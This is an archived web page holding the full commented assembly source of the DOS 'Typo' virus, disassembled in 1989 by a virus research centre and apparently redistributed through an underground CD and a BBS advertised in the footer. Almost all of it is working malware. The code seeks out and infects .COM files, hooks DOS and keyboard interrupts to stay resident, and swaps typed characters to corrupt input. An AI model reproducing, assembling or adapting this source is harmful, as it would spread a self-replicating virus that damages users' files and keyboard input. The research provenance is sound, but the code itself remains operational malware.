home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / typo.asm < prev   
Encoding:
Assembly Source File  |  1998-01-14  |  12.2 KB  |  434 lines

  1.     page    65,132
  2.  
  3.     title    The 'Typo' Virus
  4.  
  5. ; ╔══════════════════════════════════════════════════════════════════════════╗
  6.  
  7. ; ║                 British Computer Virus Research Centre                   ║
  8.  
  9. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  10.  
  11. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  12.  
  13. ; ║                                                                          ║
  14.  
  15. ; ║                           The 'Typo' Virus                               ║
  16.  
  17. ; ║                Disassembled by Joe Hirst,      October 1989              ║
  18.  
  19. ; ║                                                                          ║
  20.  
  21. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  22.  
  23. ; ║                                                                          ║
  24.  
  25. ; ║      This listing is only to be made available to virus researchers      ║
  26.  
  27. ; ║                or software writers on a need-to-know basis.              ║
  28.  
  29. ; ╚══════════════════════════════════════════════════════════════════════════╝
  30.  
  31.  
  32.  
  33. VECTOR    SEGMENT AT 0
  34.  
  35.  
  36.  
  37.     ; Interrupt vectors
  38.  
  39.  
  40.  
  41.     ORG    58H
  42.  
  43. BW0058    DW    ?            ; Interrupt 16H offset
  44.  
  45. BW005A    DW    ?            ; Interrupt 16H segment
  46.  
  47.     ORG    80H
  48.  
  49. BW0080    DW    ?            ; Interrupt 20H offset
  50.  
  51. BW0082    DW    ?            ; Interrupt 20H segment
  52.  
  53. BW0084    DW    ?            ; Interrupt 21H offset
  54.  
  55. BW0086    DW    ?            ; Interrupt 21H segment
  56.  
  57.  
  58.  
  59. VECTOR    ENDS
  60.  
  61.  
  62.  
  63. RAM    SEGMENT AT 400H
  64.  
  65.  
  66.  
  67.     ; System data
  68.  
  69.  
  70.  
  71.     ORG    6CH
  72.  
  73. BW046C    DW    ?            ; System clock
  74.  
  75.  
  76.  
  77. RAM    ENDS
  78.  
  79.  
  80.  
  81. HOST    SEGMENT AT 0
  82.  
  83.  
  84.  
  85.     ORG    2CH
  86.  
  87. DW002C    DW    ?
  88.  
  89.     ORG    0D0H
  90.  
  91. DW00D0    EQU    THIS WORD
  92.  
  93. DB00D0    DB    ?
  94.  
  95.     ORG    100H
  96.  
  97. DB0100    DB    ?
  98.  
  99. DW0101    DW    ?
  100.  
  101.  
  102.  
  103. HOST    ENDS
  104.  
  105.  
  106.  
  107. CODE    SEGMENT BYTE PUBLIC 'CODE'
  108.  
  109.  
  110.  
  111.     ASSUME    CS:CODE,DS:HOST
  112.  
  113.  
  114.  
  115.     DB    'V1'            ; Signature
  116.  
  117.     DB    0E9H, 1, 0        ; Jump for start of host
  118.  
  119.     DB    '*.COM', 0        ; File spec for infection
  120.  
  121.     DB    0CEH, 0CDH, 20H        ; File start read buffer
  122.  
  123.     DB    'V1'            ; Signature test read buffer
  124.  
  125.     DW    5            ; File handle
  126.  
  127.     DB    0CDH, 20H, 90H        ; Start of host
  128.  
  129.     DB    0
  130.  
  131.     DW    5AH            ; Generation count
  132.  
  133.     DB    0
  134.  
  135.  
  136.  
  137.     ; Entry point
  138.  
  139.  
  140.  
  141. START:    PUSH    BX
  142.  
  143.     PUSH    CX
  144.  
  145.     PUSH    DX
  146.  
  147.     PUSH    DS
  148.  
  149.     PUSH    ES
  150.  
  151.     PUSH    SI
  152.  
  153.     PUSH    CS
  154.  
  155.     POP    DS
  156.  
  157.     CALL    BP0024            ; \ Get current address
  158.  
  159. BP0024:    POP    SI            ; /
  160.  
  161.     SUB    SI,24H            ; Relocate from start of virus
  162.  
  163.     DEC    WORD PTR [SI+16H]    ; Subtract from generation count
  164.  
  165.     CMP    WORD PTR [SI+16H],3    ; Is generation count three?
  166.  
  167.     JNE    BP0036            ; Branch if not
  168.  
  169.     MOV    WORD PTR [SI+16H],005BH    ; Reset generation count to 91
  170.  
  171. BP0036:    CALL    BP02BE            ; Test system for infection
  172.  
  173.     MOV    DX,00D0H        ; Temp default DTA
  174.  
  175.     MOV    AH,1AH            ; Set DTA function
  176.  
  177.     INT    21H            ; DOS service
  178.  
  179.     MOV    AL,[SI+0BH]        ; \ Save start of host (1)
  180.  
  181.     MOV    [SI+12H],AL        ; /
  182.  
  183.     MOV    AX,[SI+0CH]        ; \ Save start of host (2)
  184.  
  185.     MOV    [SI+13H],AX        ; /
  186.  
  187.     MOV    AH,2AH            ; Get date function
  188.  
  189.     INT    21H            ; DOS service
  190.  
  191.     TEST    DL,1            ; First of month?
  192.  
  193.     JNZ    BP0074            ; Branch if not
  194.  
  195.     MOV    DX,SI            ; \ Address '*.COM'
  196.  
  197.     ADD    DX,5            ; /
  198.  
  199.     nop
  200.  
  201.     XOR    CX,CX            ; No attributes
  202.  
  203.     MOV    AH,4EH            ; Find first file function
  204.  
  205.     INT    21H            ; DOS service
  206.  
  207.     JB    BP0074            ; Branch if not found
  208.  
  209. BP0063:    CALL    BP0092            ; Test for infection
  210.  
  211.     MOV    DX,SI            ; \ Address '*.COM'
  212.  
  213.     ADD    DX,5            ; /
  214.  
  215.     nop
  216.  
  217.     XOR    CX,CX            ; No attributes
  218.  
  219.     MOV    AH,4FH            ; Find next file function
  220.  
  221.     INT    21H            ; DOS service
  222.  
  223.     JNB    BP0063            ; Branch if found
  224.  
  225. BP0074:    MOV    AL,[SI+12H]        ; \ Restore start of host (1)
  226.  
  227.     MOV    DB0100,AL        ; /
  228.  
  229.     MOV    AX,[SI+13H]        ; \ Restore start of host (2)
  230.  
  231.     MOV    DW0101,AX        ; /
  232.  
  233.     MOV    DX,0080H        ; Original default DTA
  234.  
  235.     MOV    AH,1AH            ; Set DTA function
  236.  
  237.     INT    21H            ; DOS service
  238.  
  239.     POP    SI
  240.  
  241.     POP    ES
  242.  
  243.     POP    DS
  244.  
  245.     POP    DX
  246.  
  247.     POP    CX
  248.  
  249.     POP    BX
  250.  
  251.     MOV    AX,0100H        ; \ Branch to start of host
  252.  
  253.     JMP    AX            ; /
  254.  
  255.  
  256.  
  257.     ; Test for infection in COM file
  258.  
  259.  
  260.  
  261. BP0092:    MOV    AX,4301H        ; Set file attributes function
  262.  
  263.     MOV    DX,OFFSET DB00D0+1EH    ; Address file path in DTA
  264.  
  265.     XOR    CX,CX            ; No attributes
  266.  
  267.     INT    21H            ; DOS service
  268.  
  269.     MOV    AX,3D02H        ; Open handle (R/W) function
  270.  
  271.     MOV    DX,OFFSET DB00D0+1EH    ; Address file path in DTA
  272.  
  273.     INT    21H            ; DOS service
  274.  
  275.     JNB    BP00A9            ; Branch if no error
  276.  
  277.     JMP    BP015D            ; Return
  278.  
  279.  
  280.  
  281. BP00A9:    MOV    [SI+10H],AX        ; Save file handle
  282.  
  283.     MOV    BX,AX            ; Move file handle
  284.  
  285.     MOV    AH,3FH            ; Read handle function
  286.  
  287.     MOV    CX,3            ; Length to read
  288.  
  289.     MOV    DX,SI            ; \ Address start-of-host store
  290.  
  291.     ADD    DX,000BH        ; /
  292.  
  293.     nop
  294.  
  295.     INT    21H            ; DOS service
  296.  
  297.     CMP    BYTE PTR [SI+0BH],0E9H    ; Is it a jump?
  298.  
  299.     JNE    BP00F1            ; Branch if not
  300.  
  301.     MOV    DX,[SI+0CH]        ; \ 
  302.  
  303.     SUB    DX,16H            ; /
  304.  
  305.     XOR    CX,CX            ; No high offset
  306.  
  307.     MOV    AX,4200H        ; Move file pointer function
  308.  
  309.     MOV    BX,[SI+10H]        ; Get file handle
  310.  
  311.     INT    21H            ; DOS service
  312.  
  313.     MOV    BX,AX            ; Move actual offset (? not used)
  314.  
  315.     MOV    AH,3FH            ; Read handle function
  316.  
  317.     MOV    CX,2            ; Length to read
  318.  
  319.     MOV    DX,SI            ; \ Address signature test buffer
  320.  
  321.     ADD    DX,000EH        ; /
  322.  
  323.     nop
  324.  
  325.     MOV    BX,[SI+10H]        ; Get file handle
  326.  
  327.     INT    21H            ; DOS service
  328.  
  329.     JB    BP014A            ; Branch if error
  330.  
  331.     CMP    AX,0            ; Did we read anything?
  332.  
  333.     JE    BP00F1            ; Branch if not
  334.  
  335.     MOV    AX,[SI+0EH]        ; Get signature test
  336.  
  337.     CMP    AX,[SI]            ; Is it signature?
  338.  
  339.     JE    BP014A            ; Branch if yes
  340.  
  341. BP00F1:    XOR    CX,CX            ; \ No offset
  342.  
  343.     XOR    DX,DX            ; /
  344.  
  345.     MOV    AX,4202H        ; Move file pointer function (EOF)
  346.  
  347.     MOV    BX,[SI+10H]        ; Get file handle
  348.  
  349.     INT    21H            ; DOS service
  350.  
  351.     JB    BP014A            ; Branch if error
  352.  
  353.     SUB    AX,3            ; Convert length to jump offset
  354.  
  355.     MOV    [SI+3],AX        ; Store in jump
  356.  
  357.     MOV    BX,[SI+10H]        ; Get file handle
  358.  
  359.     MOV    AH,40H            ; Write handle function
  360.  
  361.     MOV    CX,OFFSET ENDADR    ; Length of virus
  362.  
  363.     NOP
  364.  
  365.     MOV    DX,SI            ; \ Address start of virus
  366.  
  367.     ADD    DX,0            ; /
  368.  
  369.     nop
  370.  
  371.     INT    21H            ; DOS service
  372.  
  373.     JB    BP014A            ; Branch if error
  374.  
  375.     ADD    WORD PTR [SI+3],19H    ; Add entry point offset to jump offset
  376.  
  377.     XOR    DX,DX            ; \ No offset
  378.  
  379.     XOR    CX,CX            ; /
  380.  
  381.     MOV    AX,4200H        ; Move file pointer function
  382.  
  383.     MOV    BX,[SI+10H]        ; Get file handle
  384.  
  385.     INT    21H            ; DOS service
  386.  
  387.     JB    BP014A            ; Branch if error
  388.  
  389.     MOV    BX,[SI+10H]        ; Get file handle
  390.  
  391.     MOV    AH,40H            ; Write handle function
  392.  
  393.     MOV    CX,3            ; Length of jump
  394.  
  395.     MOV    DX,SI            ; \ Address initial jump
  396.  
  397.     ADD    DX,2            ; /
  398.  
  399.     nop
  400.  
  401.     INT    21H            ; DOS service
  402.  
  403.     MOV    AX,5701H        ; Set file date & time function
  404.  
  405.     MOV    BX,[SI+10H]        ; Get file handle
  406.  
  407.     MOV    CX,DW00D0+16H        ; Get file time from DTA
  408.  
  409.     MOV    DX,DW00D0+18H        ; Get file date from DTA
  410.  
  411.     INT    21H            ; DOS service
  412.  
  413. BP014A:    MOV    BX,[SI+10H]        ; Get file handle
  414.  
  415.     MOV    AH,3EH            ; Close handle function
  416.  
  417.     INT    21H            ; DOS service
  418.  
  419.     MOV    AX,4301H        ; Set file attributes function
  420.  
  421.     MOV    DX,OFFSET DB00D0+1EH    ; Address file path in DTA
  422.  
  423.     MOV    CL,DB00D0+15H        ; Get attributes from DTA
  424.  
  425.     INT    21H            ; DOS service
  426.  
  427. BP015D:    RET
  428.  
  429.  
  430.  
  431.     ; Interrupt 16H routine
  432.  
  433.  
  434.  
  435. BP015E:    STI
  436.  
  437.     CMP    AH,0DDH            ; Infection test function?
  438.  
  439.     JNE    BP0167            ; Branch if not
  440.  
  441.     MOV    AL,AH            ; Copy function number
  442.  
  443.     IRET
  444.  
  445.  
  446.  
  447. BP0167:    CMP    AH,0            ; Get key token?
  448.  
  449.     JE    BP01D8            ; Branch if yes
  450.  
  451.     DB    0EAH            ; Far jump
  452.  
  453. DW016D    DW    0488H            ; Int 16H offset
  454.  
  455. DW016F    DW    39D8H            ; Int 16H segment
  456.  
  457.  
  458.  
  459. DW0171    DW    0FA76H
  460.  
  461. DW0173    DW    0F9DCH
  462.  
  463. DW0175    DW    005AH
  464.  
  465.  
  466.  
  467. DB0177    DB    060H, 031H, 032H, 033H, 034H, 035H, 036H, 037H
  468.  
  469.     DB    038H, 039H, 030H, 02DH, 03DH, 05CH, 07EH, 021H
  470.  
  471.     DB    040H, 023H, 024H, 025H, 05EH, 026H, 02AH, 028H
  472.  
  473.     DB    029H, 05FH, 02BH, 07CH, 071H, 077H, 065H, 072H
  474.  
  475.     DB    074H, 079H, 075H, 069H, 06FH, 070H, 05BH, 05DH
  476.  
  477.     DB    05BH, 061H, 073H, 064H, 066H, 067H, 068H, 06AH
  478.  
  479.     DB    06BH, 06CH, 03BH, 027H, 07AH, 078H, 063H, 076H
  480.  
  481.     DB    062H, 06EH, 06DH, 02CH, 02EH, 02FH, 051H, 057H
  482.  
  483.     DB    045H, 052H, 054H, 059H, 055H, 049H, 04FH, 050H
  484.  
  485.     DB    07BH, 07DH, 041H, 053H, 044H, 046H, 047H, 048H
  486.  
  487.     DB    04AH, 04BH, 04CH, 03AH, 022H, 03BH, 05AH, 058H
  488.  
  489.     DB    043H, 056H, 042H, 04EH, 04DH, 03CH, 03EH, 03FH
  490.  
  491.     DB    02EH
  492.  
  493.  
  494.  
  495. BP01D8:    PUSH    SI
  496.  
  497.     CALL    BP01DC            ; \ Get current address
  498.  
  499. BP01DC:    POP    SI            ; /
  500.  
  501.     PUSHF
  502.  
  503.     CALL    DWORD PTR CS:[SI-6FH]    ; Execute original BIOS call
  504.  
  505.     PUSH    BX
  506.  
  507.     PUSH    ES
  508.  
  509.     MOV    BX,0040H        ; \ Address system RAM
  510.  
  511.     MOV    ES,BX            ; /
  512.  
  513.     ASSUME    ES:RAM
  514.  
  515.     MOV    BX,BW046C        ; Get system clock, low word
  516.  
  517.     PUSH    BX
  518.  
  519.     SUB    BX,CS:[SI-6BH]        ; DW0171
  520.  
  521.     CMP    BX,2
  522.  
  523.     POP    BX
  524.  
  525.     MOV    CS:[SI-6BH],BX
  526.  
  527.     JG    BP0236
  528.  
  529.     XCHG    BX,CS:[SI-69H]        ; DW0173
  530.  
  531.     SUB    BX,CS:[SI-69H]
  532.  
  533.     NEG    BX
  534.  
  535.     CMP    BX,CS:[SI-67H]        ; DW0175
  536.  
  537.     JL    BP0236
  538.  
  539.     DEC    WORD PTR CS:[SI-67H]
  540.  
  541.     CMP    WORD PTR CS:[SI-67H],6
  542.  
  543.     JE    BP021E
  544.  
  545.     MOV    WORD PTR CS:[SI-67H],005BH
  546.  
  547. BP021E:    SUB    SI,65H
  548.  
  549.     PUSH    CX
  550.  
  551.     MOV    CX,0061H
  552.  
  553. BP0225:    CMP    AL,CS:[SI]
  554.  
  555.     JE    BP0231
  556.  
  557.     INC    SI
  558.  
  559.     LOOP    BP0225
  560.  
  561.     POP    CX
  562.  
  563.     JMP    BP0236
  564.  
  565.  
  566.  
  567. BP0231:    POP    CX
  568.  
  569.     MOV    AL,CS:[SI+1]
  570.  
  571. BP0236:    POP    ES
  572.  
  573.     POP    BX
  574.  
  575.     POP    SI
  576.  
  577.     RETF    2
  578.  
  579.  
  580.  
  581.     ; Interrupt 21H routine
  582.  
  583.  
  584.  
  585.     ASSUME    ES:NOTHING
  586.  
  587. BP023C:    CMP    AH,0            ; Terminate program?
  588.  
  589.     JE    BP0246            ; Branch if yes
  590.  
  591.     CMP    AH,4CH            ; Load?
  592.  
  593.     JNE    BP025F            ; Branch if not
  594.  
  595. BP0246:    CALL    BP026D            ; Install virus in memory
  596.  
  597.     MOV    DX,CS:DW002C        ; \ Set ES to environment block
  598.  
  599.     MOV    ES,DX            ; /
  600.  
  601.     MOV    BX,0            ; Zero length
  602.  
  603.     MOV    AH,4AH            ; Set block function
  604.  
  605.     INT    21H            ; DOS service
  606.  
  607.     MOV    DX,001DH        ; \ Length to keep
  608.  
  609.     ADD    DX,1            ; /
  610.  
  611.     MOV    AH,31H            ; Keep process function
  612.  
  613. BP025F:    DB    0EAH            ; Far jump
  614.  
  615. DW0260    DW    2DEAH            ; Int 21H offset
  616.  
  617. DW0262    DW    4242H            ; Int 21H segment
  618.  
  619.  
  620.  
  621.     ; Interrupt 20H routine
  622.  
  623.  
  624.  
  625. BP0264:    MOV    AX,4C00H        ; Fake a load
  626.  
  627.     JMP    BP023C            ; Process as a DOS service
  628.  
  629.  
  630.  
  631. DW0269    DW    2C08H            ; Int 20H offset
  632.  
  633. DW026B    DW    4242H            ; Int 20H segment
  634.  
  635.  
  636.  
  637.     ; Install virus in memory
  638.  
  639.  
  640.  
  641. BP026D:    PUSH    CX
  642.  
  643.     PUSH    DI
  644.  
  645.     PUSH    SI
  646.  
  647.     PUSH    ES
  648.  
  649.     CALL    BP0274            ; \ Get current address
  650.  
  651. BP0274:    POP    SI            ; /
  652.  
  653.     PUSH    SI
  654.  
  655.     MOV    DI,0100H        ; Address start of area
  656.  
  657.     MOV    CX,OFFSET BP023C-BP015E    ; Length to copy
  658.  
  659. BP027C:    MOV    AL,CS:[SI+OFFSET BP015E-BP0274] ; Get a byte
  660.  
  661.     MOV    CS:[DI],AL        ; Store in new location
  662.  
  663.     INC    SI            ; Next input position
  664.  
  665.     INC    DI            ; Next output position
  666.  
  667.     LOOP    BP027C            ; Repeat to end of area
  668.  
  669.     POP    SI
  670.  
  671.     XOR    CX,CX            ; \ Address zero
  672.  
  673.     MOV    ES,CX            ; /
  674.  
  675.     ASSUME    ES:VECTOR
  676.  
  677.     MOV    CX,CS:[SI-14H]        ; \ Restore Int 21H offset
  678.  
  679.     MOV    BW0084,CX        ; /
  680.  
  681.     MOV    CX,CS:[SI-12H]        ; \ Restore Int 21H segment
  682.  
  683.     MOV    BW0086,CX        ; /
  684.  
  685.     MOV    CX,CS:[SI-0BH]        ; \ Restore Int 20H offset
  686.  
  687.     MOV    BW0080,CX        ; /
  688.  
  689.     MOV    CX,CS:[SI-9]        ; \ Restore Int 20H segment
  690.  
  691.     MOV    BW0082,CX        ; /
  692.  
  693.     MOV    CX,0100H        ; \ Install moved area as Int 16H
  694.  
  695.     MOV    BW0058,CX        ; /
  696.  
  697.     ASSUME    ES:NOTHING
  698.  
  699.     POP    ES
  700.  
  701.     POP    SI
  702.  
  703.     POP    DI
  704.  
  705.     POP    CX
  706.  
  707.     RET
  708.  
  709.  
  710.  
  711.     ; Test system for infection
  712.  
  713.  
  714.  
  715. BP02BE:    PUSH    AX
  716.  
  717.     XOR    AL,AL            ; Clear register
  718.  
  719.     MOV    AH,0DDH            ; Infection test function
  720.  
  721.     INT    16H            ; Keyboard I/O
  722.  
  723.     CMP    AL,AH            ; Are they the same
  724.  
  725.     JNE    BP02CB            ; Branch if not
  726.  
  727.     POP    AX
  728.  
  729.     RET
  730.  
  731.  
  732.  
  733.     ; Install interrupts
  734.  
  735.  
  736.  
  737. BP02CB:    PUSH    BX
  738.  
  739.     PUSH    SI
  740.  
  741.     PUSH    ES
  742.  
  743.     MOV    DX,[SI+16H]        ; Get generation count
  744.  
  745.     CALL    BP02D4            ; \ Get current address
  746.  
  747. BP02D4:    POP    SI            ; /
  748.  
  749.     PUSH    BX
  750.  
  751.     PUSH    ES
  752.  
  753.     MOV    BX,0040H        ; \ Address system RAM
  754.  
  755.     MOV    ES,BX            ; /
  756.  
  757.     ASSUME    ES:RAM
  758.  
  759.     MOV    BX,BW046C        ; Get system clock, low word
  760.  
  761.     MOV    CS:[SI+DW0171-BP02D4],BX ; Get system clock, low word
  762.  
  763.     MOV    CS:[SI+DW0173-BP02D4],BX ; Get system clock, low word
  764.  
  765.     ASSUME    ES:NOTHING
  766.  
  767.     POP    ES
  768.  
  769.     POP    BX
  770.  
  771.     MOV    [SI+DW0175-BP02D4],DX    ; Save generation count
  772.  
  773.     XOR    AX,AX            ; \ Address zero
  774.  
  775.     MOV    ES,AX            ; /
  776.  
  777.     ASSUME    ES:VECTOR
  778.  
  779.     MOV    AX,BW0084        ; \ Save Int 21H offset (DW0260)
  780.  
  781.     MOV    CS:[SI-74H],AX        ; 
  782.  
  783.     MOV    AX,BW0086        ; \ Save Int 21H segment (DW0262)
  784.  
  785.     MOV    CS:[SI-72H],AX        ; 
  786.  
  787.     MOV    AX,BW0058        ; \ Save Int 16H offset (DW016D)
  788.  
  789.     MOV    CS:[SI+0FE99H],AX    ; /
  790.  
  791.     MOV    AX,BW005A        ; \ Save Int 16H segment (DW016F)
  792.  
  793.     MOV    CS:[SI+0FE9BH],AX    ; /
  794.  
  795.     MOV    AX,BW0080        ; \ Save Int 20H offset (DW0269)
  796.  
  797.     MOV    CS:[SI-6BH],AX        ; /
  798.  
  799.     MOV    AX,BW0082        ; \ Save Int 20H segment (DW026B)
  800.  
  801.     MOV    CS:[SI-69H],AX        ; /
  802.  
  803.     CLI
  804.  
  805.     PUSH    CS            ; \ Set Int 21H segment
  806.  
  807.     POP    BW0086            ; /
  808.  
  809.     MOV    BW0084,SI        ; \ Set Int 21H offset (BP023C)
  810.  
  811.     SUB    BW0084,0098H        ; /
  812.  
  813.     PUSH    CS            ; \ Set Int 20H segment
  814.  
  815.     POP    BW0082            ; /
  816.  
  817.     MOV    BW0080,SI        ; \ Set Int 20H offset (BP0264)
  818.  
  819.     SUB    BW0080,70H        ; /
  820.  
  821.     PUSH    CS            ; \ Set Int 16H segment
  822.  
  823.     POP    BW005A            ; /
  824.  
  825.     MOV    BW0058,SI        ; \ Set Int 16H offset (BP015E)
  826.  
  827.     SUB    BW0058,0176H        ; /
  828.  
  829.     STI
  830.  
  831.     ASSUME    ES:NOTHING
  832.  
  833.     POP    ES
  834.  
  835.     POP    SI
  836.  
  837.     POP    BX
  838.  
  839.     POP    AX
  840.  
  841.     RET
  842.  
  843.  
  844.  
  845. ENDADR    EQU    $
  846.  
  847.  
  848.  
  849. CODE    ENDS
  850.  
  851.  
  852.  
  853.     END
  854.  
  855. 
  856.  
  857. ; ─────────────────────────────────────────────────────────────────────────
  858.  
  859. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  860.  
  861. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  862.  
  863. ; ─────────────────────────────────────────────────────────────────────────
  864.  
  865.  
  866.  
  867.